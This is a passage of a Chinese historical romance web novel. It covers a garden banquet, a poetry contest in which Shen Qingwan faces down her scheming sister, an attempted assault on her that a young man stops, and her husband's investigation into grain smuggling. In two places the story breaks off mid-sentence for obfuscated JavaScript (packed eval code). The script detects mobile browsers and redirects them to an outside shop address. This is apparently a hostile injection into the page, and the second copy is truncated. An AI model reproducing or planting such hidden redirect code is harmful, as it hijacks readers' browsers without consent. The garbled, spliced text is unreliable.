本是她与孟玦、孟绾、孟母各乘一车，只是这日孟母身子略有不适，便推了宴请；孟玦又托人捎信来，说官署有事耽搁，让她先行。于是，她只得与孟绾同车。 因着先前香膏一事，二人之间颇存芥蒂。虽有孟玦从中调和，也不过是面上平和，心底终究隔着一层。 孟绾自幼便是孟家捧在掌心的珠玉。她出生未几，父亲便撒手人寰，母亲怜她失怙，加倍的疼爱都给了她。府里最好的东西，总由着她先挑；长兄待她亦极宽厚，无论她犯了什么过错，从未红过脸。 唯独这一次…… 她至今仍觉委屈：那香膏她本不知来路，急于撇清，何错之有？便是掷在地上，也不是她动的手。何至于为这个挨兄长一顿训斥？ 她平白受了气，兄长也不曾宽慰半句，反要她去向嫂子赔不是。她心中愈发别扭，这一两个月，索性不与沈卿婉走动。 沈卿婉这边，倒并不将此事挂在心上。只是含香每每提起，总要替自家娘子抱不平——那样名贵的香膏，娘子自己都舍不得用，这般用心的礼，却被孟绾当众掷在地上，如同弃若敝屣。 二人一路无话。 却说孟玦，今早方至官署，便收到一封书信——乃是通州同僚张淳所书。 信中言，通州上半年骤遭暴雨，河堤溃决，洪水泛滥，良田尽没，粮价飞涨，百姓惶惶不可终日。张淳上书请旨，欲以本州常平仓粮平抑市价，以度时艰。 不料两月之前，粮价再起异动，竟有百姓卖地买粮者。几经周折，终擒得一伙私自囤粮、高价抛售的奸商。 本以为是寻常囤积居奇，孰料查验赃粮时，竟见端倪！ 那批来路不明的粮食，颗粒之饱满、色泽之润泽，竟与颍州特产的“青粳稻”别无二致。 张淳当即严讯，那一干贼人只道颍州有人，可弄到低价粮，遂与通州粮商勾结，大敛不义之财。 信中末尾，张淳直言：此事若处置不当，非但民怨难平，更恐牵累孟玦与他自身仕途，一旦被扣上“私通奸商、囤积居奇”的罪名，百口莫辩。 望他速查究竟，以还百姓公道。 孟玦读罢，指端用力，信纸应声起皱。 粮价关乎民生，民生乃天下之本。他深知此事非同小可。 他抬眸望向案上舆图，目光落在通州与本境接壤的河道处，眸色愈发幽沉。 自来颍州任上，他素不喜结党，如今身边竟无一可靠的心腹可用。若遣长随去打探，恐对方识得熟脸，反倒打草惊蛇。 沉吟片刻，他唤来绿松，吩咐他去瓦子巷寻几个捣子【2】，只说听闻码头有大买卖，想掺一脚却不得其门而入。打发些银钱，教他们盯紧码头动静，但凡异常，尽数回报。 绿松点头应下，又道：“郎君快去赏花宴罢，莫让夫人久等。”说罢转身去了。 孟玦待他走后，若无其事地换了常服，往沁芳园去。 *** 沈卿婉一行方至沁芳园，朱红大门两侧早有女使候立，接了帖子，恭引入园。 青砖小径蜿蜒伸入，两侧花木扶疏。入得园中，更是别有天地。曲径通幽处，假山叠翠，流水潺潺，锦鲤在澄澈的池中悠然摆尾。 廊下攀满粉蔷薇，花瓣上犹带晨露，馥郁沁人。远处亭台楼阁掩映于绿树繁花之间，飞檐翘角，雕梁画栋。 沈卿婉素爱花，尤爱花香。见此满园烂漫，不由顿住脚步，俯身细赏。再抬眼时，同车而来的孟绾已不知去了何处。 她心知孟绾不愿与自己同处，二人相对总有些局促。孟绾又不是肯委屈自己的性子，便由她自去。 孟绾为避开沈卿婉，步下加快，往另一侧行去。才绕过一座假山，险些与人撞个满怀。 她不识对方面容，只微微颔首，便要错身而过。 不想那人竟认得她，笑吟吟开口道：“这不是孟官人的令妹么？” 孟绾顿住脚步，迟疑道：“您是……” 那女子格格笑了两声：“说起来，咱们还算是一家子呢。”见孟绾愈发困惑，便自报家门，“我是沈熙媛，你嫂子沈卿婉的四姐。论理，你也该唤我一声四姐。” 孟绾依礼打了招呼，却不见对方有让路之意，面色便有些淡了。 “孟姑娘急什么？我还有话要与你说呢——” 自孟玦登门论及流言一事，沈阶大动干戈，查出是沈熙悦所为，罚她挨了板子，又跪祠堂，折腾下来，没个十天半月是下不了床的。连柳氏一并被禁了足。 她沈熙媛此番能出府，还是苦苦哀求父亲：自己已至婚配之年，季家是颍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173248|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州名门，赴宴者不乏王公贵胄，若能借此机缘攀上一门好亲，于沈家亦是有好处。父亲这才松口。 母亲与姐姐皆因沈卿婉受牵累，她心中早存了恨意。方才又远远望见孟绾与沈卿婉形同陌路，一个主意便冒了上来。 “你要与我说什么？” “孟姑娘难道不曾疑心过？你哥哥那样冷若冰霜的人，怎会忽然向一个只见过一面的庶女求亲？ 她见对方望了过来，显然是对她的话感兴趣，便挑了挑眉，凑近了道：“自然是因为用了些不光彩的手段。比如说让人神志不清的媚药……” 孟绾眉头一蹙，往后撤了半步，与她拉开距离。 她虽仍对沈卿婉存着几分别扭，却并非不分好歹的糊涂人。这般明晃晃的挑拨，岂会听不出来？ 她抬眸看向沈熙媛，语气淡淡道：“沈卿婉是什么样的人，我也许并不全知。可你是个咬群儿的【1】，我倒是看得一清二楚。” 一番话怼得沈熙媛脸色青一阵白一阵，眼见有人往这边走，她不得不让路。她望着孟绾的背影，咬牙冷笑：“好厉害的一张嘴。” “若是三姐姐在此，她那张嘴比我还厉害，只管教别人吃瘪。”她眼珠一转，又低声自语，“不过，不用嘴，我也能教她吃个瘪。” 花厅内，酒肴罗列，金樽满泛，玉阮同调，一派喧阗热闹。往来的女使手托漆盘轻步穿梭在众宾客间。 孟绾正与人闲聊，不远处的沈熙媛目光越过众人，似有若无地落在她身上，眼底掠过一丝阴鸷。 恰在此时，一名女使托着满满一盘酒盏，沿花厅回廊缓步而来，路径正要从孟绾身侧经过。 沈熙媛不动声色地移至孟绾近旁，假作转身与邻座夫人搭话，小腿却“不经意”地向前探了探。 女使惊呼一声，身子失衡向前扑去，手中托盘登时脱手。琥珀色的酒液如断线珍珠飞溅而出，直朝孟绾砸了过去。 孟绾若有所感，旋身回看，堪堪避过大半酒液。 只是她后退躲避时，不防裙摆勾住旁边茶几的雕花棱角，只听“嘶啦”一声轻响，粉白裙裾自腰侧裂开一道寸许长的口子，白色里衣隐隐显露。 孟绾在众人搀扶下站定，一抬眼便撞上沈熙媛那掩不住的幸灾乐祸。她眸中怒意迸溅，不及细想，几步冲上前，扬手便是一记耳光。 清脆的掌掴声落，闹哄哄的花厅骤然一静。 谁也没料到孟绾竟会当众动手。沈熙媛更是始料未及，脸颊兜头彻腮胀得通红，羞怒交加，便要扑上去与她撕扯。 身侧众人忙将二人死死劝住，这才没将事态闹得更不可收拾。 待季家管事的人赶到，二人碍于主家颜面，只得咬牙作罢。 季家主事的乃是二房的媳妇周氏，她闻声赶来，好不容易劝阻了打闹，却又添了另一桩难处——孟绾衣裙破损，按礼主家当寻一套衣裳暂与她换上。 只是季家这一辈清一色男儿郎，如今府中只她一个媳妇，五短身材，与孟绾那高挑身形相去甚远；下人的衣物又不好借予宾客。 “这可如何是好？”周娘子为难地看向孟绾。 孟绾亦面露窘色。那裂口恰在腰侧，走动间难免露出，着实不便再留宴上。可她小孩子心性，尚未尽兴，哪里肯就这么打道回府。 正两难间，沈卿婉闲步至花厅，闻知此事，遂近前察看。她目光落在那道裂口上，轻声道：“不知周娘子此处可有针线？兴许我能补上一补。” 周氏忙不迭应了，命人引去一间小厢房。 沈卿婉让孟绾侧身立定，指尖拈起针线，手腕轻旋，银针便如蝴蝶般在裂口处上下翻飞。 她的动作娴熟从容，针脚细密匀整，不过半盏茶工夫，那道刺目的裂口便被一朵栩栩如生的粉色秋菊所取代。 那菊花花瓣层层叠叠，边缘晕着浅浅绯红，花芯处以金线绣出纤巧的花蕊，恰好掩住布料的接缝，浑然天成，竟似原本便绣在裙上的纹样。 孟绾垂眸望着腰侧那朵粉菊，心头泛起一丝难以言说的滋味。 出得厢房，周氏见了那绣花，亦忍不住赞道：“沈娘子这手艺当真绝了！这菊花绣得活灵活现，不知道的，还道这裙子本就带着这朵花儿呢。” 周氏走后，孟绾抿了抿唇，垂首轻声道：“……对不住。” 沈卿婉一愣，旋即会意她指的是香膏一事。 “不必放在心上。方才之事，想来也是意外。”她语声柔和，“你我既已是一家人，自当不分彼此。你的难处，便是我的难处。能帮上忙，我便欢喜。” 孟绾听着这话，望着沈卿婉温婉的侧脸，忽然想起那些从别处听来的闲言碎语：说她是使了手段勾引哥哥，说她工于心计、心思深沉。 她沉默良久，指尖攥了攥衣角，想要问个清楚：“嫂嫂……” 她顿了顿，似乎觉得有些难以启齿，可话到嘴边，终究还是问了出来：“外头有人说……你当初嫁给我哥哥，是、是下药勾引来的。这话……是真的么？” 25. 吟诗作对赢芳心 正说着话，忽有人唤沈卿婉。她扭头看去，见是一位面生的娘子，对方倒像是认得她，她却只约略有几分印象，遂含笑意，微微颔首。 那娘子言道，观澜水榭那边正斗诗，孟官人素来擅此道，今日定要大出风头，邀她与孟绾同去一观。 沈卿婉闻言，脸上挂着淡淡的笑，应了一声“好”。正欲问孟绾可愿同往，回过身时，却见她嘴唇翕动，方才似说了什么。 她便柔声问道：“方才与那位娘子说话，未曾听清，妹妹方才说了什么？” 孟绾神色微微一凝，眉尖轻蹙，声音轻飘地回道：“没什么……不过是些不相干的话。” 沈卿婉见她不愿说，便也不追问，另起话头道：“那位娘子邀咱们去观澜水榭，听说那边正斗诗，一道去看看可好？” 孟绾点了点头。二人便循着人流，往湖边去。 那水榭临水而筑，朱红廊柱映着一池碧波，倒影绰约。水榭四周，湖面上莲叶田田，粉白相间的芙蕖开得正盛，层层叠叠的花瓣迎着日光，娇艳不可方物。 走得近些，水榭中的喧闹便愈发清晰。原是众人在玩飞花令，须得后句首字与前句尾字相同。 水榭中设着几张长方茶几，上面陈着茶盏鲜果。许多郎君围坐其间，或低眉沉吟，或含笑品评，一派风雅景象。 沈卿婉和孟绾寻了个靠边的位置站定，刚站稳，便听见有人吟诗：“也知关决多余暇，能更重为胜赏不。【1】” 沈卿婉虽随孟玦学了些时日诗句，却终究不甚精通，品不出其中意味。只听旁的几位娘子低声惊呼道：“这‘不’字为尾，可不是个好对的字呢。” “可不是嘛，‘不’字不常见，又要一时想出来，着实不易。” 另一位娘子附和着，语气中带着几分担忧：“孟官人虽是状元出身，可这飞花令讲究的是急智，这般刁钻的字，怕是要费些思量了。” 沈卿婉这才恍然——原来接这个“不”字的，便是孟玦， 他着一身墨绿锦袍，腰束墨玉带，身姿挺拔如松柏。隔着人群，只能瞥见他清隽的侧脸，半张脸隐在人群的阴影里，瞧不真切神色。 她试着在心底想了想，虽也读过百十篇诗，此刻竟无一字可用。 这“不”字，委实刁钻。 孟玦略一沉吟，薄唇轻启：“不然神仙姿，不尔燕鹤骨【1】。” 话音方落，水榭中先是一静，随即爆出雷鸣般的赞叹。“好！不愧是孟状元！” 有人高声喝彩：“这‘不’字难接，韫白不仅接了，还一连两个‘不’字，妙极！妙极！” 人群微微晃动，光影挪移间，她方才看清他脸上的神色——平淡从容，一副轻描淡写之姿，仿佛方才不过是随手拈来。 沈卿婉心口忽然像是静置的古琴，被人随手撩拨了一下，响起纷乱的杂音。 她忍不住又多看了一眼。他站在人群中央，神姿高彻，如瑶林琼树，衬得周遭景致都失了颜色。 湖面下彩色锦鲤在莲叶下嬉戏，引得湖面上的莲花颤动不止，水面荡起一圈又一圈的波澜。 还不等沈卿婉将心中那点异样体味真切，便听身旁几位娘子低声议论起来。一人眼中满是惋惜之色：“这般人物，只可惜娶了一个小官家的庶女……” “可不是么？听说孟官人原在京中有一位青梅竹马，是曲宰相家的嫡女，生得美若冠玉、华若桃李呢。” “还有宫里的嘉芙公主，据说对孟官人一往情深，非他不嫁……” 众人窃窃私语，有人顺着口气问道：“那孟官人怎的就独独选了那名不见经传的小庶女？” 一人冷哼一声，下了断语：“定是使了什么见不得人的手段呗！” 这几句话，一字不漏地落入沈卿婉耳中。她嘴角那抹浅淡的笑意，缓缓压了下去。目光扫过那几人，不欲多言。 这等闲话，她听得多了。那些人的心中早已有了定论，任你如何辩解，也只是白费口舌。 正默然间，身旁的孟绾忽然开口，声音不高不低，却足够让附近几人听见：“我道是哪里来的鸟雀叽叽喳喳，原来是几个长舌的妇人。” 说着，便要拉沈卿婉走开。 二人正待转身，忽听一道熟悉的声音响起：“孟官人果然名不虚传，这般难的飞花令都能信手拈来，不愧是状元之才！” 她循声望去，说这话的人竟是沈熙媛。 沈熙媛似乎察觉到她的目光，唇角微微上扬，朝她投来一个意味深长的笑。 “孟官人有这般才学……”她刻意放缓了语气，让每个字都清晰地传到在场每个人耳中，“想必孟夫人也不遑多让吧？ “方才这飞花令，孟夫人不如也来应和一首，让我们也开开眼界？” 这话一出，原本喧闹的水榭霎时静了下来。无数道目光齐刷刷投向沈卿婉。 沈卿婉旁边的几位娘子这才回味过来，自知没理，只得尴尬走开。 沈卿婉面无表情地望着沈熙媛。这伎俩她在四芳苑便领教过——不过是仗着知晓她的底细，故技重施罢了。 “妹妹怎么不说话？”沈熙媛的声音再次响起，带着几分得意的催促，“莫不是为难了？还是说，妹妹其实……并不会作诗？” 沈卿婉目光也不向她，只是朝孟玦所在的方向看去。 他就站在不远处，长袍在风里微微晃动，那双清冷的眸子，与她视线相对，带了几分柔意，他微微颔首，似是无声的鼓励。 那一眼，叫沈卿婉无端地心安。她定了定神，压下心头的慌乱，沉吟片刻，缓缓道出一句：“骨折面如墨。” 诗句落下，水榭中又是一阵短暂的寂静。一人道：“是杜少陵的《戏赠友二首》。虽是半句，但这字也不好接，勉强算过。” 沈卿婉缓缓松了口气。 沈熙媛脸上的笑容瞬间僵住，得意的神情凝固在脸上，像是被人猝不及防地泼了一盆冷水。她难以置信地看着沈卿婉， 怎么可能？！ 还不等她回过神来，孟玦已悠然开口：“拙荆献丑了，不过既然拙荆已对完半联。 “而四姐这般推崇此令，我倒十分好奇，四姐的佳作会是怎样一番光景？” 沈熙媛脸色霎时青白交错，张了张嘴，竟说不出一句话来。 沈卿婉见她这副局促不安的模样，心头那点烦闷竟似被风吹散了些。她心中微动，微笑着向他注视。 他这是在替自己出气么？以其人之道，还治其人之身。 沈熙媛定了定神，强装镇定地清了清嗓子，眼神慌乱地在湖面与周遭景致间打转，显然是搜肠刮肚也想不出半句像样的诗句。 过了半晌，她才憋出一句：““我……解不出来。” 不知是谁先没忍住，“噗嗤”一声笑了出来。那笑声像是打开了闸门，越来越多的人低下头，掩着嘴偷笑。 笑得最坦然的，莫过于孟绾。 她本就对沈熙媛心存不满，此刻更是不客气地嗤笑出声，声音不大不小，却足够让在场的人都听清：“我当是什么才高八斗的人物，原来也不过如此。” 沈熙媛的脸腾地涨得通红，又由红转紫，站在原地手足无措。她想发作，却被众人嘲讽的目光逼得无从下手。 最终只能狠狠瞪了沈卿婉一眼，那眼神里的怨毒，几乎要溢出来。 沈卿婉站在原地，跟着众人笑了一会，只觉得浑身轻快。 她双手搭在栏杆上，阖了眼，任微风拂过眉眼，拂过鬓边碎发，享受着这一刻难得的宁静。 下一瞬，她猛地睁眼，警觉地向四周一扫——总觉得有什么人在暗处窥视，那目光如芒在背。 她目光逡巡一圈，侧首望去，只见殿中高台之上，斜倚着一位锦衣男子。那人墨发用玉簪松松绾着，眉梢眼角浸着三分漫不经心的风流意态。 他唇角噙着一抹轻佻的笑意，眼尾微微上挑，目光直白而放肆，落在她身上毫无避讳。与她对上眼神时，竟无半分被撞破的窘迫，反倒更添了几分露骨的打量。 沈卿婉心头掠过一丝莫名，蹙眉移开了视线。 半柱香后，宴席开筵。 花攒锦簇，歌舞吹弹，满堂喧阗。 亭中地面凿有蜿蜒小渠，清冽泉水潺潺流淌，渠上漂浮着精致的漆盘，盘中盛着各色糕点蜜饯，正是时下盛行的曲水流觞之趣。 沈卿婉吃了片刻，见孟玦鲜少动箸，心中了然。他在家时也是这样，明明喜欢甜食，却从不肯多拈，大约是怕人知道堂堂孟官人竟有小童般的嗜好，故而人前从不表露。 于是，待那漆盘漂到近前，她便顺手拈起一块桂花糕，放入孟玦碟中，轻声道：“这桂花糕清甜不腻，吃着爽口，不易上火。” 说着又夹了一块玫瑰酥，“这个配茶正好。” 她一边说着，一边不停往孟玦碟中添着甜食，豆沙糕、杏仁酪、藕粉圆子……不过片刻，孟玦面前的白瓷碟便堆得如同小山。 沈卿婉正欲再夹一块糯米糍，忽觉周遭静了些许。抬眼一望，才发现不少宾客正若有若无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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嬷嬷闻言抬眼，上下打量了她一番，眼中带着几分诧异：“娘子真是客气。旁人来园里，都想着折几枝开得正好的回簪花，或是回去插瓶。娘子倒好，偏要这没人要的落瓣？” 沈卿婉唇角噙着一抹温和的笑意，目光落在脚边一片沾着晨露的粉白花瓣上，轻声道：“嬷嬷您看，这枝头的牡丹开得这般娇艳，自然该供人驻足欣赏，折了岂不可惜？ “可这些掉落的花瓣，若无人问津，便只能零落成泥，未免可惜。 “若能将它们收集起来，制成香膏或是香丸，便能将这份馥郁长久留存，往后焚香时，旁人闻到这香气，便也算不负它们的风华了。” 她语气平淡，只带着几分对自然之物的怜惜。 那嬷嬷听了，眼中的诧异渐渐化为赞许，笑着点头：“寻常人只爱盛放的繁华，却不知落瓣也有落瓣的用处。你且等着，老奴这就去寻个篮子来。” 嬷嬷去了，偌大的牡丹园便只剩下含香与沈卿婉二人。 她二人正赏着花，说着闲话。骤然一阵疾风刮过，将那娇弱的牡丹吹得东零西落，待风停止，忽见园里冷不丁冒出一人，三步并作两步就往这边来。 含香挡在沈卿婉前面，冲那人道：“你这厮，好生无礼！” 那人闻言，非但不停步，反倒又向前几步，“我可与二位姐姐是旧相识呢？又何必拘着那些虚礼？” 沈卿婉定睛一瞧，对这人确实有几分印象，原是刚才那高台上一直窥视她的那位，旁边坐着的人。 含香啐了一口：“休要攀扯！我可从未见过你，何来相识之说？” “哦？”男子挑眉，一脸痞相，“你不认得我马三，总该认得县马高晖吧？我就不信姐姐没听说过这名号。” “县马”二字一出，含香与沈卿婉俱是脸色一变。 含香冷声道：“不认识！”说罢，便要拉着沈卿婉转身离去。 可那人身形一晃，便挡在了去路前，双臂一张，拦住了二人。 含香又急又恼，伸手便去推他：“让开！” 谁知那马三力气极大，反手一推，含香猝不及防，脚下一个踉跄，竟直直摔进了旁边的牡丹花丛中。那牡丹花枝上生着细密的尖刺，霎时划破了她的手。 鲜血顺着指缝渗出，传来钻心的疼。含香没忍住，痛呼出声。 沈卿婉见状，惊呼一声便要冲过去：“含香！” 可那马三却上前一步，欺身逼近，一张脸几乎要贴到她面前，嘴角噙着不怀好意的笑：“去哪儿呀？小美人儿……” 26. 国色天香赠佳人 宴席上，县马高晖另坐在高台上，身旁簇拥着三四位帮闲，几人轮番劝酒。却见高晖目光却频频飘向席间的一位娘子。 马三顺着他的视线瞄过去，这不看不打紧，一看也是愣了一下。不单是因为那女子实在貌美，在一众人中着实扎眼，二则是因为…… “那位娘子，倒是瞧着有些眼熟。”马三道。 高晖呷了口酒，漫不经心地瞥去：“哦？是吗？” 一旁的白德接口道：“爷还记得惠和知县沈阶吗？” “是有这么个人。” “那沈阶先前不是说，要将一个小妾所生的女儿献给爷么？后来不知怎的，便没了下文。” 高晖拿扇子抵在下颏，“唔”了一声道：“好像是有这么一回事……那阵子孟玦这厮查那常平仓，叫我好生头疼，哪里顾得上别的事。” 白德听他声气不对，连忙岔开话，用眼神点了点下面坐着的沈卿婉：“这位，便是那沈知县原本要送给爷的女儿。” 高晖盯着沈卿婉姣好的面容，喉结滚动了一下，将杯中酒一饮而尽，别有深意地说道：“那可真是可惜了。” 马三看出他的心思，搓着手，笑得谄媚：“能被爷看上，是她的福气。咱爷看上的人，还没有得不到手的。这事包在我身上，保管把人给您请过来。” 马三望着远处那抹身影，心中另有一番盘算：他只管将人捎带到高晖那，至于后面的事和得罪孟玦，那便是另外的价钱。 有什么事，让孟玦和高晖闹去，又是一出好戏—— 且说马三收回思绪，已与沈卿婉只隔数步。近前细看，比宴席上瞧着更甚几分。 眉如远山含黛，眼似秋水横波，肌肤莹白胜雪，唇瓣不点而朱，越看越让人心痒难耐。 马三色迷心窍，眼神愈发露骨，想着这般美人，虽吃不到嘴里，但揉捏一顿也是美事。 如此状况，沈卿婉未像寻常女子那般惊慌失措，反倒抬眸浅浅一笑，声音柔得像水，却带着几分诡异的平静：“郎君想与我亲热，倒也无妨。 “只是这外面人多眼杂，来往皆是宾客，这般行事，终究不便。” 她一面说着，一面抬手招呼马三：“你且近前来，我给你个信物，今夜你寻一个安静的地方，我再与你细说。” 马三被她这出乎意料的反应弄得一愣。见她手无缚鸡之力，又无利刃，只当她确实是个浪荡性子，色胆包天地朝着她去了。 沈卿婉则佯装抚鬓逗弄，顺势拔下头上的花簪，猛然朝着马三的脖颈狠狠扎去！ “找死！”马三侧身避开要害，顺势攥住她的手腕，狠狠一夺。金簪“当啷”一声摔在青石板上，断成两截。 他色欲翻涌间更添狠厉，伸手便去攥沈卿婉的手腕：“敬酒不吃吃罚酒！今日便让你尝尝爷的厉害！” 沈卿婉奋力挣扎，却哪里抵得过男子力气。正绝望之际，一道身影如疾风般掠来—— 只听“嘭”的一声闷响，马三后腰被狠狠踹了一瞧，力道之大，竟将他踹得踉跄着扑出去数步，又打了一个滚，重重摔在地砖上。 “你是什么东西！敢坏爷的好事！”马三捂着腰爬起来，破口大骂。 男子缓步上前，声色俱冷：“你又是什么东西？敢在季家放肆？！” 男子生得剑眉星目，面容俊朗，一身玄色劲装衬得身形挺拔，器宇轩昂。 话音未落，他已欺身而上，拳脚并用，打得马三惨叫连连，不消片刻，马三已是鼻青脸肿，嘴角淌血。 在外头把风的白德听得动静，慌忙冲进牡丹花园里，一眼便认出了男子的身份。 他脸色骤变，连忙上前躬身告罪：“原来是季郎君！是我兄弟有眼无珠，冲撞了郎君，望您宽宥。” 见季泽不为所动他又忙搬出高晖的名头：“我等是县马跟前的人，还望郎君看在他的面子上，高抬贵手。” 季泽双臂环抱，冷哼一声：“今日且放你们离去——并非看在谁的情面。只因婶娘设宴待客，我不愿这点腌臜事扰了她的雅兴。 “踏出这园门，便将方才之事烂在肚子里。若敢多吐半个字，或是让风声传到任何一人耳中，我便亲自来取你们的舌头，教你们往后再无多言的本事。” 白德等人哪敢不从，当即以全家性命发誓，绝不将今日之事说出去。待季泽神色稍缓，连忙连拖带拽地将马三拉起，狼狈不堪地逃离了园子。 少顷，张嬷嬷提着篮子回来，见牡丹花丛的一角变得凌乱不堪，断折的花枝垂着残瓣，花瓣洋洋洒洒落了一地，地上还有几个泥印子。 她惊呼一声：“这是怎么了？好好的花园，怎会弄得这般狼藉？” 季泽道：“嬷嬷莫慌，方才来了个不知趣的狂徒，想在此处撒野毁花，已被我赶走了。” “别是你个泥猴捣得鬼？”张嬷嬷叉着腰，狐疑道。 季泽举着双手直呼冤枉：“可真与我无关，这可有人能替我证明。”，说着，他将目光移到沈卿婉处。 沈卿婉会意，点头道：“确如郎君所言。” 张嬷嬷叹了口气，伸手抚了抚身旁完好的牡丹花枝，又心疼看着被糟蹋了的几株好花：“世间人，各有其骨，各有其心，有人惜花如命，有人却视花草如草芥。” 张嬷嬷本要将篮子递给沈卿婉，却瞥见她袖口蹭了泥污，皓白的手腕上多了几道青紫印子。旁边跟着的女使也是一手泥污，手上扎着刺，渗着血。 她“哎呦”了一声，她道：“娘子身边这姑娘手伤得重，我住处就在花园后面的罩房，快随我去上药，莫让伤口发炎了。” 主仆二人便跟着嬷嬷往房中去了。 张嬷嬷见季泽怎么也跟了过来，瞥了他一眼，没好气道：“你跟过来做什么？” 季泽反剪着一双手，堆笑道：“婶子让我过来找嬷嬷拿钥匙，也没说做什么的钥匙，只说我过来问，你定然知道。” 张嬷嬷点了点头，说：“你少坐一时，待会我拿来给你。”说罢欲去，却被季泽塞了一个小药瓶子，笑嘻嘻道：“这药对跌打伤有奇效，拿这个去用。” 张嬷嬷瞥了他一眼，接过药瓶，打发他在外间坐着。 张嬷嬷拿着那药替沈卿婉主仆二人上了药，那药味道奇特，不同于寻常药膏的油腻，沈卿婉只闻出薄荷叶和龙脑香，知二者清热止痛，其余便嗅不出来。 换药的工夫，少不得闲话几句。沈卿婉这才得知，原来外面那位郎君便是季家大房长子，姓季名泽，字怀清。 说话间，药膏触感微凉，涂在伤口上先是有几分灼烧感，而后很快散去，连带着疼痛也没了感觉。 含香也忍不住低呼道：“这药好厉害！立马就不疼了。” 上完药，张嬷嬷领着二人掀帘出去，顺带将钥匙递给季泽，那房间不大，他动作时，一股浓郁又熟悉的味道散发出来。 沈卿婉顺着香味看去，目光落在他腰间系着的一枚香牌——正是之前她制作的荀令十里香。 含香也随之注意到那香牌，顿时惊呼出声：“这香牌……娘子，这不是你前些日子亲手做的那枚吗？” 沈卿婉本不欲再添牵扯，想出声阻止时，已然迟了。 季泽闻言，按着腰间的香牌：“哦？原来制作这香牌的香师，竟是沈娘子？” 沈卿婉见状，躬身行礼，郑重道：“多谢季郎君那时肯予血参换香牌，这才使我能救重要之人的性命。 “这份恩情，我没齿难忘。” 季泽道：“银货两讫的事，谈不上恩情，更不用娘子挂记在心。” 一旁的张嬷嬷听了她二人间的对话，忍不住开口问道：“这般说来，二位竟是早就认识？” 季泽摇了摇头，“此前倒并不相识，今日是头一次见沈娘子，算是不打不相识了。倒是嬷嬷您，怎么认识的这位沈娘子？” 张嬷嬷便大致说了。 季泽听罢，爽快道：“若是只送些花瓣与娘子，倒显得我季家小气。娘子若喜欢，便挑几盆看得过眼的，拿去便是。” 沈卿婉忙道：“那牡丹名贵，怎可随意赠我？我过来叨扰已是失礼，如今再收下花儿，更是担不起。” 季泽不理，只是自说自话道：“不过几盆牡丹而已。娘子哪日得空？一会给你送去？有些匆忙，怕是不妥，不若明日？” 说着，他点了点头，愉快地下了决定：“就明日吧，明日给娘子送去。” 沈卿婉又婉言推辞了一回。 事毕，便不再多留，与含香再次道谢后，转身离去。 *** 宴席未散，孟玦因公务缠身，先行离开，往官署去了。 巳时，正堂内唯孟玦一人当值。 绿松回来禀报今日探查的结果：“郎君，根据市舶司的备案册，审查了往来船只所运货物。 “按册子逐船核对，官船出入都按时按数，查验的封条、担保人签字样样齐全，瞧着并无不妥。” 孟玦道：“能运货的除了官船，还有私船。你可曾探查？可曾有异？” “郎君聪慧，问题确实出现在那私船上。”绿松道，“那两个捣子收了钱，去那码头，眼睛尖的很，一眼就瞅出哪几艘船是走运的私船。 “待他们确定好，我乔装打扮，又去探看了一番。果然，那几艘船周围有许多眼睛看着。我便不敢贸然上前，只装作要走私茶叶的货郎，在蕃坊外的茶肆里搭话，。 “又给了几个码头脚夫一些碎银子，问知一些情况。 “说那几艘私船，脚夫白日从未见过装货运输。唯有一次，喝醉酒的脚夫没回家，醉倒在乱草丛中，大半夜被那私船装货的声音惊醒。” “我查了册子，那私船的运输并不记录在官册上，就赶忙回来禀告郎君。” 孟玦道：“马上子时了，想必他们今日也会动作。事不宜迟，这就动身去码头。” 绿松顿了顿道：“郎君，还有一事……我还打听到那船，与县马有些关系。” 孟玦听了，没什么表情地说道：“律法之下，众生平等。莫说县马，便是王爷亲临，皇族贵胄，只要触及国法，触犯民利，便没有‘例外’二字！” 夜色如墨，码头的湖面在月光下泛着冷白的光。岸边的渔火稀稀疏疏，大多是守夜脚夫点的油盏，风吹过便晃悠悠地摇曳，将人影拉得歪歪扭扭。 三艘大船停在岸边，几个黑影在船舷边来回走动，动作轻捷得像夜猫子。不多时，舱门被推开，借着微弱的月光，能看到无数麻袋被扛着递上船，沉甸甸的模样。 装卸的人都蒙着口鼻，只露出一双双警惕的眼睛。 就在此时，一个穿着短打、头戴斗笠的汉子突然从码头入口处狂奔而来，他冲到一人跟前，压低声音急声道：“有野猫嗅见腥味，往这边来了！” 那人闻言脸色骤变，狠狠啐了口唾沫，骂道：“娘的！哪个杀千刀的走了风？这时候来搅局！” 他转头冲船上大吼，“点子扎手！走不成了！烧！都给老子烧干净！” 待孟玦匆匆赶来时，只听“呼”的一声，烈焰瞬间窜起，火舌舔舐着船身，浓烟滚滚而上，将夜空染得通红。 孟玦见状，冷着脸继续往前走。 这可将跟在后面的官吏们和长随吓了一跳，绿松赶忙拦着他。下一秒火势已蔓延至整个船身，熊熊火光映得江面亮如白昼，热浪扑面而来。 那些潜水而逃的人早就化作一尾鱼溜之大吉。 孟玦立在岸边，袍角被火光驱散的夜风吹得猎猎作响，神色平静的有些异常。他望着冲天的火光，手掌攥拳，咬牙道：“半个时辰前才发的调令，行动隐秘，为何他们能提前察觉？” 在场众人无人敢应。 他缓缓转过身，目光如寒刃般扫过身后躬身立着的几位官员，最终什么也没说，拂袖离去—— 孟玦归家时，挟带一身寒气踏入内院。彼时沈卿婉刚宽衣歇下，连烛灯还未熄灭，见他归来，她忙起身要与孟玦宽衣。 孟玦叫她不必起身，自行褪去了外衫，躺在床榻外侧。 这一晚的奔波教他身心俱疲。他轻嗅身侧那一缕若有若无的兰花香，紧绷的神经渐渐松弛下来，他贪婪地嗅着那味道。 倏然，他睁开眼，察觉到一丝异味。 